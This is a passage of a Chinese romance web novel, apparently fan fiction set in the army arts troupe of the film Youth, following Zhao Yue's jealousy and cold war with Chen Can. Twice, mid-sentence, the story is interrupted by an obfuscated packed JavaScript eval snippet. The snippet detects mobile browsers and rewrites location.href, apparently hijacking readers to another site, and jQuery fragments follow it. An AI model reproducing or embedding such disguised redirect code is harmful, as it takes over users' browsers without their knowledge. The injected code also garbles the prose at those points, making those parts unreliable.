又累、又饿、又委屈、又气。
气他跟郝淑雯斗嘴斗得自然,气他永远不把话说开,气自己明明在冷战,却还为他乱了心神,更气自己——连吃醋,都没有半点正当的身份。
情绪一涌上来,她再也撑不住。
她轻手轻脚爬上上铺,把床帘一拉,将自己死死裹在被子里。
不敢哭出声,只闷在被窝里掉眼泪,越哭越凶,越哭越委屈,没多久眼睛就肿得发烫,连鼻尖都红透了。
不知哭了多久,下铺传来一声极轻、极小心的呼唤。
“悦儿姐……”
是何小萍。
兆悦慌忙抹掉眼泪,嗓子哑得不成样子,尽量装得平静:“怎么了?”
“我……我带了点家里的特产,想拿给你。”何小萍声音轻轻的,带着感激,也带着拘谨,“你一直帮我……我想谢谢你。”
兆悦勉强掀开一条床帘,刚露出半张脸。
何小萍一抬头,整个人都愣在原地。
眼前的人眼睛肿得像核桃,睫毛湿漉漉的,脸上还挂着未干的泪痕,明明前几天还强大又镇定地护着她,此刻却像个被人丢下、独自委屈的小孩。
何小萍一下子慌了,手里攥着的布包都紧了紧,声音都放得更柔:“悦儿姐,你……你怎么哭成这样了?”
兆悦看着何小萍眼里纯粹的担忧,一直强撑的心防,在这一刻彻底塌了。
哪怕她们才刚认识不久,她也莫名地信任这个人——何小萍心正、沉稳、从不多言,更不会把别人的心事拿出去乱传。
何小萍先轻轻开了口,声音轻却笃定:“悦儿姐,你是不是……因为陈灿?”
这一句问中要害,兆悦再也绷不住。
她吸了吸鼻子,眼泪先一步掉了下来,一边抹泪一边开口,语气像极了对着闺蜜吐槽心事的姑娘,委屈又憋闷。
“嗯……是他。”她声音发颤,哭得眼眶通红,却还是一点点把心里的难受说出来。
“我们之间一直这样不清不楚,他从来不肯把关系说清楚,也不给我一句准话。
明明跟我走得最近,明明对我不一样,可偏偏……又跟郝淑雯打打闹闹,像一对欢喜冤家。”
说到这儿,她眼泪掉得更凶,声音都带着浓厚哭腔:“我看着他们俩那样亲昵斗嘴,心里难受得要命,可我连生气、连吃醋的资格都没有。
他总觉得年纪还小,慢慢来就好,可他不知道,我被他这样悬在中间,有多煎熬。”
“我不是要他怎么样,我只是要一个确定,要一个明白……可他倒好,一边跟我暧昧不清,一边又跟别人自在打闹,我真的……真的受不了了。”
她越说越委屈,越说越心酸,把这些天憋在心里无处诉说的难过,一股脑全倒了出来。
兆悦哭得肩膀发抖,何小萍看得又心疼又义愤填膺,攥着小手轻声劝:“悦儿姐,你别难过了,为了他哭成这样,不值当。”
可兆悦心里的委屈哪里是一句话就能压下去的。
她又饿又难受,浑身都发虚,只能把脸埋在被褥里,闷声闷气、带着浓重的哭腔,一遍一遍小声嘟囔:“陈灿最讨厌了……讨厌死了……”
哭到最后,她声音虚软得厉害,肚子不合时宜地轻轻叫了一声。
她一整天几乎没吃东西,饺子一口没动,西红柿只啃了一个,又哭又气,早就饿得发慌。
何小萍耳朵尖,一下子就听出来了,立刻着急起来:“悦儿姐,你是不是饿了?你等着,我去给你找点吃的回来。”
她想起兆悦之前还分了自己一个西红柿,自己吃饱了,可悦儿姐却饿着肚子哭,心里更不是滋味,转身就轻手轻脚跑出了宿舍。
刚拐过走廊,她就一眼看见了站在不远处、来回踱步的陈灿。
少年眉头紧锁,眼神一直往女兵宿舍的方向望,一副心神不宁、坐立难安的样子。
原本电影里,陈灿和何小萍几乎没有任何交集,连句话都没说过。
可这一次,何小萍脚步一顿,竟主动朝他看了过去。
陈灿恰好也抬眼望来。
四目相对的瞬间,何小萍小脸一绷,清清楚楚、毫不客气地白了他一眼,跟着还轻轻、却带着十足火气地哼了一声。
25. 闪烁
何小萍一股脑冲到食堂,这个时候大门早就锁得严严实实。
她刚来没多久,哪里懂这些门道,更不知道该去炊事班找人,只能在门口急得团团转。
最后还是碰到抓完猪正要回去的刘峰,听她说完,心善的刘峰便用电炉子给她煮了两个热鸡蛋,让她带回去。
她攥着还烫手的鸡蛋,满心想着兆悦还饿着肚子,脚步匆匆往回赶。
刚走到宿舍楼下,一眼就看见陈灿还杵在原地,眉头紧锁,往楼上望。
一想到他让兆悦哭成那样,何小萍心里的火气又涌了上来,替兆悦委屈,更替她不值。
就这么一晃神,脚下没留神,手里的两个鸡蛋“啪嗒”一声,全摔在了地上,蛋清蛋黄碎了一地。
这一幕,恰好被刚出完板报回来的萧穗子和郝淑雯看了个正着。两人进了宿舍还在小声议论,说何小萍估计是没吃饱,偷偷去煮了鸡蛋,结果还不小心摔了。
兆悦在床上听得清清楚楚,心一下子提了起来——那鸡蛋是替她去拿的。
她顾不得眼睛还肿得厉害,赶紧爬下床,装作刚整理好情绪的样子,不想让别人看出她哭过。
她脑海里忽然闪过电影里的那段剧情:原本陈灿会去炊事班顺两个西红柿,说是给郝淑雯赔礼道歉,郝淑雯不要,他就故意塞给萧穗子,拿萧穗子气郝淑雯,一来二去,暧昧得很。
兆悦眼角下意识往楼下瞟了一眼,没看见那标志性的红西红柿。
可她心里还是一阵发酸,忍不住拧巴:指不定人家早就吃完了呢?她凭什么庆幸?凭什么觉得陈灿没给郝淑雯拿东西,就代表他们关系一般?
真是自作多情。
她在心里狠狠啐了一口,刚压下去的委屈,又一点点冒了上来。
她只穿了平日里在宿舍穿的浅色系睡衣,头发还有些凌乱,眼睛肿得不敢抬太高,只想赶紧确认何小萍有没有摔倒受伤。
刚走到楼下,何小萍一眼就看见她,立刻愧疚又着急地迎了上来,声音都带着慌:
“悦儿姐,对不起……我找刘峰给你煮了两个鸡蛋,刚才一走神,全摔地上了……你还一直没吃饱,这可怎么办……”
她低着头,看着地上碎掉的鸡蛋,一阵懊恼。
这话一字不落地落进不远处那个人耳朵里。
陈灿几乎是立刻迈开步子,朝她走了过来。
刚才还僵在原地魂不守舍的少年,在看见兆悦身影的那一刻,所有注意力都被牢牢吸住。
他没走近,却把何小萍的话听得一清二楚——她没吃饱。
陈灿脑子里“嗡”的一声,瞬间就想起了食堂里的每一个画面。
她面前那碗饺子几乎原封不动,连筷子都没怎么动过;杭春明偷偷塞给她两个西红柿,她也只吃了一个;后来萧穗子把她的碗端过来,他满心满眼都只想着这是她的,满脑子都在盘算着,能不能借着这碗饺子,跟她重新说上一句话,找个由头打破僵局。
可他居然从头到尾,都没反应过来——她根本就没吃饱。
他只顾着自己的慌乱、自己的纠结、自己那点心思,却粗心到连她没吃饭这件事都没放在心上。
明明是他把她气走,明明是他让她委屈到躲起来哭,现在连一口热的都没吃上。
愧疚跟心疼像潮水一样猛地砸下来,瞬间把他淹得喘不过气。
他怎么能这么粗心,这么笨。
兆悦连忙扶住一脸愧疚的何小萍,轻声安慰,语气尽量放得轻松:“没事的没事的,不就是两个鸡蛋嘛,我们文工团的女孩子,晚上本来就常减肥不吃饭,饿一饿没关系的。”
她没说自己是因为心情差到吃不下,只拿减肥当借口,怕何小萍再自责。
说完便牵着何小萍的手,一同上楼回了宿舍,看都没看后面雕塑一样站着的人。
可何小萍躺在床上,翻来覆去都过意不去。
悦儿姐饿肚子,自己不仅没帮上忙,还把鸡蛋摔碎了,越想越坐不住,悄悄又下了楼。
刚走到宿舍楼门口,一辆二八大杠自行车迎面骑来,车铃轻响,骑车的正是陈灿。
何小萍脸色瞬间沉了下来,心里的火气又冒了上来——要不是刚才看见他,想起他对悦儿姐不好,自己也不会走神摔了鸡蛋,全是他害的。
她拉着一张脸,目不斜视,打算直接从他身边绕过去。
陈灿却一眼认出了她,连忙单脚撑地把车喊住,开口喊住她:“等一下。”
他从车筐里拿出一个还冒着淡淡热气的铁饭盒,递到何小萍面前,语气带着几分局促:“这个……麻烦你帮我拿给兆悦,可以吗?”
何小萍眼皮都没抬,嘴皮子一翻,直接怼得干脆:“我凭什么帮你递上去?”
一句话,把向来顺风顺水的陈灿,堵得当场僵在原地。
他没办法,只好声好气:“那……那你能不能帮我喊她下来一下?就说我找她。”
何小萍没好气地皱着眉,可看着那盒还带着温度、明显是刚弄来的热食,又想到兆悦晚上一口东西没吃,终究是松了口。
“行,我帮你把她喊下来。”
陈灿松了口气,推着二八大杠,靠在萧穗子刚画好的板报旁边,安安静静地等。
何小萍转身上楼,轻轻敲了敲门,走进兆悦的宿舍。
萧穗子和郝淑雯都在屋里,她心里明镜似的,这几个人似乎和陈灿都有着说不清的牵扯,她自然不会直白地把人叫下去。
只对着兆悦轻声道:“吃的我放我那儿了,你过来吃吗?”
兆悦本想直接拒绝,可一撞上何小萍不停朝她眨眼的暗示,立刻明白了其中有蹊跷。
她迟疑了片刻,还是点了点头,起身跟着何小萍走了出去。
两人一出门,宿舍里的郝淑雯就忍不住纳闷:“真是奇了,这何小萍怎么这么快就跟悦儿这么要好?我记得悦儿刚来的时候生人勿近得很,我们可是花了小半年才把她捂热的。”
下楼之后,何小萍悄悄往板报的方向抬了抬下巴。
兆悦抬眼望去,一眼就看见路灯下,那辆熟悉的二八大杠,那个倚在板报旁的少年身影。
是陈灿。
她轻声对何小萍说了一句“谢谢”,脚步慢慢朝他走去。
何小萍一步三回头,满心不放心,直到拐进楼道,才回了自己的宿舍。
兆悦慢慢走近,还没等她开口,陈灿已经先一步察觉到她的到来。
他抬眼望过来,目光落在她哭肿的眼睛上,落在她宽松柔软的睡衣上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309107|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,落在她微微凌乱、透着几分呆的头发上。
明明是一脸委屈狼狈的模样,在他眼里,却软得一塌糊涂。
心尖像是被什么轻轻揪了一下,又酸又软,疼得厉害。
陈灿伸手将温热的饭盒往兆悦面前递了递,指尖轻轻碰了下她的胳膊,语气带着几分无奈又认真的温柔:“拿着吧,刚热好的,再不吃就凉了。”
兆悦却偏过头,手往身后缩了缩,嘴角抿出一点倔强的弧度,声音轻轻的却带着点刺:“我不要,谁知道你这个饭盒,给多少女生递过、带过饭,我才不稀罕。”
陈灿闻言愣了一下,随即皱起眉,语气都急了几分,带着真切的辩解:“没有,我真的没有给别人带过,从来没有。”
兆悦没再说话,只是垂着眼帘,心里却翻来覆去地打转。
她其实比谁都清楚,那些猜忌、那些不安,不过都是从前看电影、听故事留下的刻板念头,是凭空臆想出来的桥段。
自从她出现在陈灿的生活里,这么久的陪伴、这么多日子的铺垫,他的目光、他的心思、他手里所有的温柔,从来都只落在她一个人身上,根本没有分给别人的余地,更别说给其他女生带饭、递饭盒了。
道理她都懂,可心里那点莫名的别扭和不安全感,就是缠缠绕绕地散不去,明明知道是自己多想,却还是忍不住不肯相信。
陈灿见兆悦终于迟疑着伸手,把那只沉甸甸的铁饭盒接了过去、抱在怀里,他悬了半天的心才算轻轻落了地,嘴角不自觉地往上扬了一点,连眼神都软了下来。
他就安安静静站在一旁,看着她打开饭盒、拿起筷子小口小口地吃,目光黏在她身上,一刻都舍不得移开。
等兆悦吃了几口,气氛慢慢缓和下来,陈灿才轻轻吸了口气,声音放得极低,带着几分小心翼翼的忐忑,终于把憋了许久的话说了出来。
“兆悦,关于上次我们冷战、闹别扭的事……我想跟你说清楚。”他顿了顿,指尖微微攥紧。
“那些话,我说得太冲、太难听了,是我没控制好情绪,也是我根本没站在你的角度好好听你说话,是我理解错了,全都是我的问题。”
他望着她低垂的眉眼,语气里满是真诚:“我不该跟你置气,不该让你一个人难过那么久,更不该让你因为我胡思乱想、受委屈。
这段时间你不理我,我每一分每一秒都在后悔,后悔自己嘴笨,后悔自己不够细心,后悔让我们之间变成那样。”
兆悦吃得安安静静,筷子碰着饭盒底发出轻细的声响,等最后一口咽下,她合上盖子,动作平稳地把擦干净的铁饭盒递回给陈灿。
她既没有应他的道歉,也没有追问下文,甚至没抬眼认真看他一眼,就那样保持着沉默,把刚刚他掏心掏肺的一番话,轻轻搁在了空气里。
陈灿伸手接过饭盒。
她抬眼淡淡看了他一眼,声音平静得像一潭深水:“谢谢你的饭,我吃饱了,我要上去了。”
说完,她没有再多停留一秒,也没有回应他刚才所有的道歉与解释,更没有松口说原谅、说结束冷战。
只是转身朝着楼道口走去,留下陈灿一个人站在原地,手里攥着还带着余温的空饭盒,满心的话都被堵在了喉咙里,连追上去的勇气都没有。
26. 夜色
部队首长的紧急命令来得猝不及防,文工团接到任务,即刻前往慰问正在进行拉练演习的一线部队。
消息一传开,团员们迅速收拾好行装,片刻后便列队登上了等候在外的军用皮卡。
车轮碾过路面扬起轻尘,女兵们挤在同一辆车上,一路说说笑笑,原本严肃的慰问行程,被她们的笑闹声衬得轻松了几分。
车队行驶不久,便抵达了一片开阔的平原地带,远处坦克轰鸣,履带碾过土地的厚重声响震得地面微微发颤,拉练演习的部队正有条不紊地行进操练。
文工团此次的任务并不复杂,主要负责后勤补给,再用演出为战士们鼓舞士气,简单的分工很快安排完毕,郝淑雯、何小萍几人被分到了打饭的岗位,忙碌地为战士们分发餐食。
人群里忽然出现了一个摄影干事,背着相机四处取景拍摄,走到郝淑雯身边时,下意识环顾了一圈,开口便问:“小林没来?”
郝淑雯瞥了他一眼,语气里带着几分打趣:“追丁丁都追到这儿来了,瞧你这心思。”
摄影干事笑了笑,没再接话,目光扫过人群时,一眼便注意到了身形出挑、气质清冷的兆悦,当即走上前,自来熟地举着相机想要给她拍一张。兆悦却连头都没抬,自顾自地做着手里的事。
眉眼间依旧是那副高傲的模样,全然没有理会他的意思,摄影干事硬着头皮拍了一张,然后讪讪地转身离开。
兆悦低头整理着衣摆,心里悄悄感念着杨铮,出发前杨铮特意给她送了几张厚鞋垫,此刻走在粗糙的砂石地上,双脚还算安稳。
她抬眼瞥了不远处的林丁丁一眼,对方早已磨出了一脚的水泡,正蹙着眉强撑着,兆悦暗自庆幸,若非那几张厚鞋垫,自己此刻怕是也要和林丁丁一样狼狈。
人群里最忙碌的莫过于刘峰,这个向来热心的老好人,背上背着鼓,肩头扛着旗,手里还拎着各式各样的道具和物资,跑前跑后从不停歇。
当他看到心上人林丁丁疼得脸色发白,脚步虚浮的模样时,立刻便凑了过去。
林丁丁本就生得柔弱,此刻更是对着刘峰撒起娇来,声音软糯带着委屈:“刘峰,我实在走不动了,脚疼得厉害。”
刘峰想都没想,立刻柔声应道:“没事,待会我背你。”然后要帮她挑水泡。
一旁的萧穗子见状,主动上前从刘峰手里接过红旗,往前快步走去。
兆悦向来见不得别人挑水泡的画面,光是想想便觉得头皮发麻,连忙跟着穗子的脚步往前赶。
前方演习部队跑步前进,带起漫天烟尘,直吹得人睁不开眼,萧穗子机灵地把红旗裹在头上挡灰,兆悦一时没了办法,只得侧身穿过队伍,走到了另一边。
等烟尘稍稍散去,兆悦正准备回到右侧和萧穗子汇合,一道熟悉的身影忽然从萧穗子身旁擦肩而过,是陈灿。
他脚步未停,只低声问了一句:“是穗子吗?”
萧穗子连忙把裹在头上的红旗松开,露出脸来,陈灿这才又开口:“你们鼓动组不是在前面吗?”
萧穗子的心跳瞬间快了半拍,脸颊微微发烫,心里暗自窃喜:就算自己把头包得严严实实,他居然还能认出来。她羞涩地低下头,小声回道:“我掉队了。”
顿了顿,她又忍不住问道:“你怎么不和直属部队一起走?”
陈灿只淡淡回了四个字:“临时借调。”
话音落,他便往前跑了几步,没再多留。
前方的领导对着陈灿扬声下令:“吹号,命令部队原地休息!”
陈灿应声登上一旁的坦克,逆着午后的阳光站定,抬手举起了小号。
舒缓的军号声缓缓响起,清亮的号音传遍整片平原,这是让部队原地休息的指令,听到号声的战士们瞬间停下动作,整齐地原地休整。
站在不远处的兆悦,将这一切完完整整地看在眼里,从陈灿认出萧穗子,到两人简短对话,再到他登上坦克吹号的模样,一丝一毫都没落下。
等陈灿从坦克上下来,刚一眼捕捉到心心念念的兆悦,还没来得及上前说一句话,兆悦便先一步开了口。
这是她第一次在众人面前主动和陈灿搭话,可语气里的阴阳怪气,却让陈灿的心瞬间沉了下去。
兆悦搂着萧穗子,似笑非笑地看着他,眉眼间满是不加掩饰的不悦,语气轻飘飘却带着刺:“闻香识女人啊,脑袋都包着还能认出来。”
一句话,直指刚才陈灿即便萧穗子蒙着头,也能一眼认出的场景,明晃晃的猜忌与醋意,毫不遮掩地砸了过来。
萧穗子全然不知兆悦和陈灿之间的纠葛,只当是寻常打趣,羞涩地低着头。
陈灿被兆悦这一句阴阳怪气的话堵得心口一紧,眉头瞬间就皱了起来。
周围都是部队的战士和文工团的人,军规在前,他半点不敢流露儿女情长,更不能拉着她当众解释,只能压着声音,用只有两人能听清的语调,暗戳戳地表明心意。
他目光牢牢锁在兆悦带着冷意的脸上,语气沉了几分,却又刻意避开暧昧字眼,只往正事上靠:“认得出是因为鼓动组的步伐和队形,我记的是队伍,不是人。”
一句话撇得干净,又藏着只有他自己知道的解释——他记的从来不是哪个女兵,是她所在的方向,是她该在的位置。
兆悦没说话,只是嘴角那点似笑非笑更淡了,明显不信。
一旁的萧穗子彻底懵了,眨着眼看看陈灿,又看看兆悦,半天没回过神。
她明明听着兆悦话里有话,只以为是打趣自己,可陈灿的回答又一本正经,全是部队里的规矩和队形。
她只能尴尬地低着头,手指攥着红旗边角,完全摸不透两人一唱一和到底在说什么,一头雾水地站在原地。
陈灿不敢再多留,怕再待下去控制不住情绪,也怕引来旁人围观,只能深深看了兆悦一眼,那眼神里的委屈、急切、想辩解又不能说的无奈,全都裹在里面,转身便跟着队伍去整理装备,准备晚上的正式演出。
天色一点点暗下来,平原上亮起了一排排昏黄的马灯,演习部队休整完毕,晚上的慰问演出终于正式开始。
还是用号声起的调子,第一个表演是《行军路上》。
晚风卷着旷野的凉意漫过来,远处又飘来一阵小号声,调子舒缓,兆悦只听第一个音,就知道是陈灿吹的。心口像被细沙磨过,闷闷地发紧,半点上台的兴致都提不起来。
她一转头,就看见何小萍孤零零站在阴影里,身上还是平日的旧衣服,连个军装都没有,没有合体的演出服,手足无措地攥着衣角,连往灯光下挪一步都不敢。
兆悦心里一软,又想起自己此刻心绪不宁,晚上是文工团压箱底的节目——《行军路上》和《草原女民兵》,容不得半分差错。万一她上台跳错了步子,不仅自己尴尬,还会拖累整个节目。
“小萍,”兆悦轻声喊她,“这两个舞我今天状态不好,怕跳砸了,你替我上。你平时练得那么认真,正好让大家看看你的本事。”
何小萍猛地抬起头,眼睛一下子亮了,不敢相信自己的耳朵,嘴唇哆嗦着,半天只挤出一句:“悦儿姐……我、我真的可以吗?”
“当然可以。”兆悦拍了拍她的胳膊。
何小萍瞬间红了眼眶,用力点头,一万个愿意,满心都是感激。
萧穗子见状,连忙拉着何小萍去拿道具假枪,让她赶紧准备。
下一个节目是《毛主席的战士最听党的话》,由郝淑雯和林丁丁表演。郝淑雯在人群里来回找,急得额头冒汗,愣是没看见林丁丁的影子,逮住萧穗子和何小萍就问:“丁丁呢?你们看见她没有?马上就到我们了!”
分队长正好走过来,看见兆悦把重要的演出位让给新来的何小萍,眼里多了几分赞许——这姑娘模样出挑、功底扎实,还这么大度懂事。
一听说林丁丁不见了,分队长便对兆悦说:“你这会儿没演出,去把林丁丁找回来。”
兆悦心里清楚林丁丁在哪儿。
刚要转身,何小萍凑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309108|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到她耳边,小声嘀咕:“悦儿姐,我看见挂三个相机的那个干事,把丁丁姐叫走了。”
是那个摄影干事,追林丁丁追到这儿的相好。
兆悦一下子就明白了,电影里,两人是躲在哪个僻静角落,偷偷吃橘子罐头,暧昧不清。
当时,就是何小萍撞破这事,被林丁丁记恨上,但这段时间林丁丁收敛了不少,和宋子轩断了往来,对她也和颜悦色,兆悦不想戳破,给彼此留些体面。
她循着方向往营地角落走,离得还有几步远,就扬声喊:“林丁丁——分队长叫你,快准备上台了!”
喊声给了里面人反应的时间。片刻后,林丁丁独自跑出来,理了理军装,强作镇定:“我、我刚才上厕所了。”
兆悦没拆穿,只淡淡点了下头:“快走吧,郝淑雯等着呢。”
林丁丁匆匆跑向演出场地,摄影干事趁没人注意,悄悄从另一边溜了。
四下安静下来,晚风更凉,兆悦不想回去看演出,也不想再听见那扰人心绪的小号声。
她找了块干净的土坡坐下,抱着膝盖,一个人望着远处沉沉的夜色。
夜色裹着旷野的凉意,把兆悦整个人都圈在安静的角落里,她抱着膝盖坐在土坡上,思绪不受控制地往回翻涌,越想心里越乱。
其实冷静下来她就知道,今晚自己实在不该说那句带刺的话,阴阳怪气的,像极了无理取闹的小女儿姿态。
一来,萧穗子就站在旁边,万一被她听出点什么端倪,传出去不仅难看,还会给彼此惹来麻烦;二来,她一遍遍告诫自己,根本就不该把陈灿放在心上,不该为他乱了分寸,更不该因为他一句话、一个动作就打翻了心里的醋坛子。
可道理归道理,画面却不受控制地在脑海里盘旋——陈灿站在坦克上,逆着黄昏的光,身姿挺拔地吹着小号,风掀起他的衣角,号声清亮又温柔,那一幕像一根细针,轻轻扎在她心上,怎么都挥之不去。
从前的点点滴滴也跟着涌了上来,一起训练的日子,一起拌嘴的瞬间,他默默递来的东西,他笨拙的关心,他小心翼翼的道歉……
她惊觉,自己来到这里之后的大半时光,竟然都和陈灿紧紧绑在了一起,桩桩件件,兜兜转转,全是他的影子。
兆悦在心里狠狠骂了自己一句没出息。
明明早就下定决心不轻易动心,明明告诉自己要清醒自持,可一碰到和陈灿有关的事,所有的理智都溃不成军。
不知道从什么时候起,远处的小号声早就停了,四周只剩下风吹过草地的轻响。
也不知道是夜晚的风太过温柔,还是旷野里的沙子迷了眼睛,眼眶忽然一热,滚烫的眼泪毫无预兆地砸在手背上。
她在感情里向来是被动又疏离的,那些不在乎她的人,她从不会多看一眼,更不会为了谁委屈自己。
可偏偏遇上陈灿,她所有的原则都破了功。
脑海里忽然闪过现实世界里,那个男生离开时刻薄的诅咒,说她永远不会被人真心喜欢,说她就算动心,也只会换来一身伤痕。
原来……竟然像是成真了。
这是她第一次,这样毫无保留地、热烈地——念头戛然而止,兆悦自己先僵住了。
热烈地……什么?
她闭了闭眼,心脏在胸腔里重重地跳着,一下比一下急促,根本骗不了自己。
她不得不承认,那个藏了很久、连自己都不敢直面的答案——她是真的喜欢上陈灿了,是无法掩饰、连理智都压不住的那种喜欢。
可陈灿呢?
他的真心又有几分?他的喜欢,到底有几斤几两?
他的心,是不是分给了别人?是天天和他斗嘴打闹的郝淑雯,还是温柔青涩、连包着头都能被他一眼认出来的萧穗子?
那她兆悦呢?
在陈灿的心里,她到底排在第几位?
越想,心越冰冷;越想,越觉得落寞。
眼泪再也止不住,一滴接着一滴,无声地落在夜色里。
27. 未眠
旷野的夜色浓得像化不开的墨,兆悦蜷缩在土坡的阴影里,肩膀一抽一抽地轻颤,眼泪无声地浸湿了袖口。
风从远处的演习营地吹过来,带着烟火气与隐约的歌声,可这一切热闹都与她无关。
她抱着膝盖,把脸埋进去,心里翻来覆去只有一个念头——明明从知道剧情可以被改变的那一刻起,她就不再慌张,不再像最初那样步步为营,可为什么,她和陈灿,偏偏就再也回不到过去了呢?
回不去那些只有两人的夜晚,在空荡荡的排练厅里相遇,他吹着小号,她练着舞步,没有猜忌,没有冷战,没有阴阳怪气的试探,也没有那些让人心慌的旁人。
那时候的相处干净又简单,连沉默都觉得舒服,可现在,明明离得很近,却像隔了一层厚厚的烟尘,怎么也触不到当初的模样。
心口的酸涩一浪高过一浪,兆悦咬着唇,不敢发出半点声音,怕被远处的人听见,更怕自己一开口,就会溃不成军。
就在这时,眼前微弱的天光忽然被一道身影轻轻挡住,投下一片安静的阴影。
兆悦猛地一僵,慌忙抬手抹掉脸上的泪,连头都不敢抬。
营地另一边,演出刚刚落下帷幕。
何小萍站在后台,心脏还在疯狂地跳动,指尖都在微微发颤。
这是她第一次真正代表文工团登台演出,聚光灯打在身上,掌声落在耳边,那种被认可、被需要、被重视的感觉,是那个从小厌弃她、把她当成累赘的家庭,从来没有给过她的。
喜悦像潮水一样把她淹没,她下台后的第一个念头,就是去找兆悦,认认真真跟她说一声谢谢。
可她在人群里望了一圈,从舞台前找到后勤处,从女兵堆里寻到战士中间,都没有看见兆悦的身影,反倒一眼就撞见了四处乱转、神色焦急的陈灿。
一看见他,何小萍就立刻想起了那天晚上,悦儿姐一个人躲在床铺上哭得通红的眼睛,哭得那么委屈,那么伤心。
她心里顿时就有些不痛快,暗暗嘀咕,这个傻大个到处晃什么,八成……是在找悦儿姐。
她打心底里不想让他得偿所愿,不想让这个让悦儿姐难过的人轻易找到她。
可转念一想,只要能让兆悦开心,她又松了口。
何小萍抿了抿唇,没说话,只是朝着兆悦所在的土坡方向,轻轻抬了抬下巴,给陈灿指了一个明确的方向,眼神里带着一丝复杂,既有不满,又藏着一丝微弱的期盼——盼着他能好好说话,能把悦儿姐哄开心。
陈灿几乎是立刻就明白了,道了声谢,便快步朝着那片安静的阴影走去。
夜色里,两道身影终于再次相遇,一个红着眼眶,一个满心忐忑。
风还在吹,远处营地的歌声隐隐约约传来,无人的土坡上只剩两人沉默的呼吸。
她认清了自己的心——她是真的喜欢上陈灿了。
可也正因为认清,她反而拿出了最认真、最决绝的态度。
她不能在放纵自己做一个,十几岁情窦初开只会偷偷吃醋的小姑娘。
她见过真心,也见过敷衍,更清楚一段没有名分、没有确认的感情,只会把一颗心吊在半空,七上八下,日夜煎熬。
她已经受不了这种模糊不清的拉扯,更受不了自己一颗真心被悬着,猜来猜去,患得患失。
兆悦就那样安静地看着陈灿,目光平静却分量极重,心里已经悄悄做了决定——这是最后一次机会。
如果今晚,陈灿能把心意说清楚,能认认真真给她一个答案,那他们就可以翻过之前所有的冷战与别扭,回到最初的美好,甚至往前走一大步,光明正大地靠近。
可如果他依旧说不出口,依旧含糊其辞,依旧让她猜——那她就彻底割舍。
再痛、再舍不得,也会把这个人从心里挪出去,退回到队友、退回到普通朋友的位置,从此不再多看一眼,不再为他乱了心绪,更不会再为他掉一滴眼泪。
要是他还想和以前一样,不清不楚地靠近、不明不白地关心,那她就当随便玩玩,再也不拿真心。
陈灿被她这双太过沉静的眼睛看得有些发慌。
他能明显感觉到,眼前的兆悦不一样了。
“陈灿,有些话,不用我一直提醒你。”
她顿了顿,目光落在他脸上,看得透彻,也问得冷静:“你一直这样,到底想怎么样呢?”
陈灿张了张嘴,心里有一大堆话涌上来,想说我喜欢你,想说我只想对你好,想说我不想和你只做队友——可话到嘴边,又因为紧张、因为无措、因为在这部队里不敢轻易宣之于口的顾虑,变得滞涩。
他能听懂她语气里的认真,却听不懂那层藏在深处的、决绝的退路,只觉得心慌,觉得自己好像快要抓不住她了。
他更不知道因为这一次犹豫,会给自己带来多大的伤痛。
陈灿喉结动了动,犹豫了短短一瞬,心里那几句憋了很久的话已经冲到嘴边,眼看就要脱口而出。
就在这一刻,远处忽然传来一声清亮的呼喊。
“陈灿——陈灿!”
是郝淑雯的声音,带着几分急促:“分队长找你!快一点!”
两人同时朝营地方向望去。
兆悦看着那片灯火,忽然就笑了一下,笑得极轻、极淡,却带着说不出的讽刺。
你看,连老天爷都在拦着。
他不说,老天也帮着他不说。
那一瞬间,所有的期待、所有的拉扯、所有为他找的借口,全都断了。
她轻轻闭了闭眼,再睁开时,眼底的泛红已经淡去,只剩下一片平静的清明。兆悦站起身,拍了拍身后的尘土,没有看陈灿,也没有等他回应。
一句话没说,转身就朝着与营地相反、却更靠近人群的方向走去。
没有半分留恋。
陈灿僵在原地,刚要开口喊住她,话还没出口,只看到她决绝的背影,一点点消失在夜色里。
他手里空悬着的关心,和最后那句“等我”,一起被晚风吹散了。
兆悦刚走回营地,何小萍就立刻迎了上来,眼神里满是担忧,拉着她的胳膊小声问:“悦儿姐,你跟他……怎么样了?”
兆悦望着远处模糊的夜色,轻轻摇了摇头,声音平静得听不出情绪:“我也不知道。”
何小萍一听,眉头立刻皱了起来,心里暗暗给陈灿打了个不及格的分数——不行,这个人真不行,让悦儿姐哭了就算了,聊到现在还没个准话,简直是木头。
第二天一早,所有人登上返回文工团的皮卡。
车厢里的气氛压抑得吓人,明明人挤人,却像隔着一层看不见的冰。
林丁丁自打昨天被兆悦找回去之后,就一直刻意躲着刘峰,往日那点依赖全没了,对这位“活雷锋”视而不见,自顾自整理着辫子。
萧穗子和郝淑雯倒是没察觉异样,一左一右围着陈灿,叽叽喳喳说个不停。
郝淑雯用胳膊肘捅了捅陈灿,语气带着惯常的泼辣劲儿:“哎,昨天你跑哪儿去了?分队长找你半天,吹完号就不见人影。”
萧穗子也跟着小声搭话:“是不是……又去练号
